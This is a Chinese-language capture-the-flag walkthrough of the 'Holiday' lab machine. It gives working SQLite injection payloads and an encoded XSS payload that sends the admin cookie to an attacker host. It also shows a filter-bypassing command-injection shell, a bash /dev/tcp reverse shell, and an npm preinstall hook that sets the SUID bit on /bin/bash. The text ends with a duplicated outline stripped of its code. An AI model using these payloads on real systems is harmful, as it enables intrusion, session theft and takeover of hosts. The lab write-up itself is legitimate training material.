[Meachines] [Hard] Holiday SQLI+XSS-Bypass+RCE-HEX-Shell+TRP00F+npm特權升級
字数 1026 2025-08-29 22:41:38

Holiday靶机渗透测试教学文档

1. 信息收集

1.1 主机发现与端口扫描

ip='10.10.10.25'; itf='tun0';
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
  echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
  ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
  if [ -n "$ports" ]; then
    echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m";
    nmap -Pn -sV -sC -p "$ports" "$ip";
  else
    echo -e "\e[31m[!] No open ports found on $ip.\e[0m";
  fi;
else
  echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m";
fi

扫描结果:

  • 22/tcp: OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
  • 8000/tcp: Node.js Express框架

1.2 Web目录扫描

dirsearch -u 'http://10.10.10.25:8000/'

发现重要端点:

  • /login
  • /agent
  • /vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65
  • /admin

2. SQL注入攻击

2.1 登录表单测试

POST请求:

POST /login HTTP/1.1
Host: 10.10.10.25:8000
Content-Length: 24
Content-Type: application/x-www-form-urlencoded

username=1x&password=1

2.2 手工SQL注入探测

  1. 测试基本注入:
username=x"--+&password=1  # 返回"Error Occurred"
username=x"))--+&password=1  # 返回"Invalid User"
  1. 确认注入类型:
username=x")) OR 1=1 --+&password=1  # 返回"Incorrect Password"
username=1")) ORDER BY 4 --+&password=1  # 确认字段数为4
  1. 识别数据库类型:
username=1")) UNION SELECT 88,99,66,67 --+&password=1  # 确认回显位置
username=1")) UNION SELECT 88,sqlite_version(),66,67 --+&password=1  # 确认SQLite 3.15.0
  1. 提取表名:
username=1")) UNION SELECT 88,group_concat(name, ','),66,67 FROM sqlite_master WHERE type='table' --+&password=1

发现表:users, sqlite_sequence, notes, bookings, sessions

2.3 使用sqlmap自动化提取

sqlmap -r /tmp/sql -T users,notes,sessions --dump --threads 10

获取凭证:

  • 用户名:RickA
  • 密码哈希:fdc8cd4cff2c19e0d1022e78481ddf36
  • 明文密码:nevergonnagiveyouup

3. XSS绕过与利用

3.1 发现XSS漏洞点

http://10.10.10.25:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65页面存在管理员审核功能

3.2 基本XSS测试


3.3 高级XSS绕过技术

  1. 创建恶意JS文件(1.js):
window.addEventListener('DOMContentLoaded', function(e) {
  window.location = "http://10.10.16.13:10000/?cookie=" + encodeURI(document.getElementsByName("cookie")[0].value)
})
  1. 编码XSS载荷:
url="http://10.10.16.13:10000/1.js"
js="document.write('<script src=\"$url\"></script>');"
echo -n "$js" | od -An -t u1 | tr -d '\n' | sed 's| \+|,|g; s|^,||; s|^|<script>eval(String.fromCharCode(|; s|$|))</script>"/>|'
  1. 获取管理员会话cookie:
connect.sid=s%3a98a88d30-27f1-11f0-ade9-71050c9a43af.4gmaIMgfX/Hym%2bqFylhAqwyx1QklsHSDYZlccAj0iF0

4. 远程代码执行(RCE)

4.1 发现RCE漏洞点

http://10.10.10.25:8000/admin/export?table=../存在命令注入

4.2 绕过过滤机制

过滤规则:[a-z0-9&\s\/]

使用URL编码绕过:

#!/bin/bash
urlencode() {
  python3 -c "import sys, urllib.parse; print(urllib.parse.quote(sys.argv[1]))" "$1"
}

while true; do
  echo -n "SHELL$ "
  read cmd
  if [[ "$cmd" == "exit" ]]; then
    break
  fi
  encoded_cmd=$(urlencode "$cmd")
  url="http://10.10.10.25:8000/admin/export?table=x%26${encoded_cmd}"
  curl "$url" \
    --cookie "connect.sid=s%3a98a88d30-27f1-11f0-ade9-71050c9a43af.4gmaIMgfX/Hym%2bqFylhAqwyx1QklsHSDYZlccAj0iF0" \
    -H 'Cache-Control: max-age=0' \
    -H 'Upgrade-Insecure-Requests: 1' \
    -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36' \
    -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
    -H 'Accept-Encoding: gzip, deflate' \
    -H 'Accept-Language: en-US,en;q=0.9' \
    --http1.1
done

4.3 获取反向Shell

  1. 创建反向Shell脚本:
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.13/443 0>&1
  1. 使用十六进制IP绕过过滤:
printf '0x%02X%02X%02X%02X\n' $(echo 10.10.16.13 | tr '.' ' ')
# 输出: 0x0a0a100d
  1. 执行命令:
SHELL$ wget 0x0a0a100d/shell
SHELL$ bash shell

获取user.txt:

79081c45597fb44319152df89b15934e

5. 权限提升

5.1 检查sudo权限

algernon@holiday:~$ sudo -l

发现可以利用npm进行特权升级

5.2 利用npm特权升级

  1. 创建恶意package.json:
{
  "name": "get",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "preinstall": "chmod u+s /bin/bash"
  },
  "author": "",
  "license": "ISC"
}
  1. 执行特权升级:
algernon@holiday:~$ sudo npm i ./get/ --unsafe
  1. 获取root权限:
bash -p

获取root.txt:

0bfed7171c81458d5d24175642c8c0b2

6. 总结

本靶机渗透测试涉及以下关键技术:

  1. SQL注入(SQLite数据库)
  2. XSS绕过与利用
  3. 命令注入与过滤绕过
  4. 十六进制IP地址编码
  5. npm特权升级漏洞

关键点:

  • 使用SQL注入获取管理员凭证
  • 通过XSS窃取管理员会话
  • 利用命令注入获取反向Shell
  • 通过npm的sudo权限实现特权升级
Holiday靶机渗透测试教学文档 1. 信息收集 1.1 主机发现与端口扫描 扫描结果: 22/tcp: OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 8000/tcp: Node.js Express框架 1.2 Web目录扫描 发现重要端点: /login /agent /vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65 /admin 2. SQL注入攻击 2.1 登录表单测试 POST请求: 2.2 手工SQL注入探测 测试基本注入: 确认注入类型: 识别数据库类型: 提取表名: 发现表:users, sqlite_ sequence, notes, bookings, sessions 2.3 使用sqlmap自动化提取 获取凭证: 用户名:RickA 密码哈希:fdc8cd4cff2c19e0d1022e78481ddf36 明文密码:nevergonnagiveyouup 3. XSS绕过与利用 3.1 发现XSS漏洞点 在 http://10.10.10.25:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65 页面存在管理员审核功能 3.2 基本XSS测试 3.3 高级XSS绕过技术 创建恶意JS文件(1.js): 编码XSS载荷: 获取管理员会话cookie: 4. 远程代码执行(RCE) 4.1 发现RCE漏洞点 在 http://10.10.10.25:8000/admin/export?table=../ 存在命令注入 4.2 绕过过滤机制 过滤规则: [a-z0-9&\s\/] 使用URL编码绕过: 4.3 获取反向Shell 创建反向Shell脚本: 使用十六进制IP绕过过滤: 执行命令: 获取user.txt: 5. 权限提升 5.1 检查sudo权限 发现可以利用npm进行特权升级 5.2 利用npm特权升级 创建恶意package.json: 执行特权升级: 获取root权限: 获取root.txt: 6. 总结 本靶机渗透测试涉及以下关键技术: SQL注入(SQLite数据库) XSS绕过与利用 命令注入与过滤绕过 十六进制IP地址编码 npm特权升级漏洞 关键点: 使用SQL注入获取管理员凭证 通过XSS窃取管理员会话 利用命令注入获取反向Shell 通过npm的sudo权限实现特权升级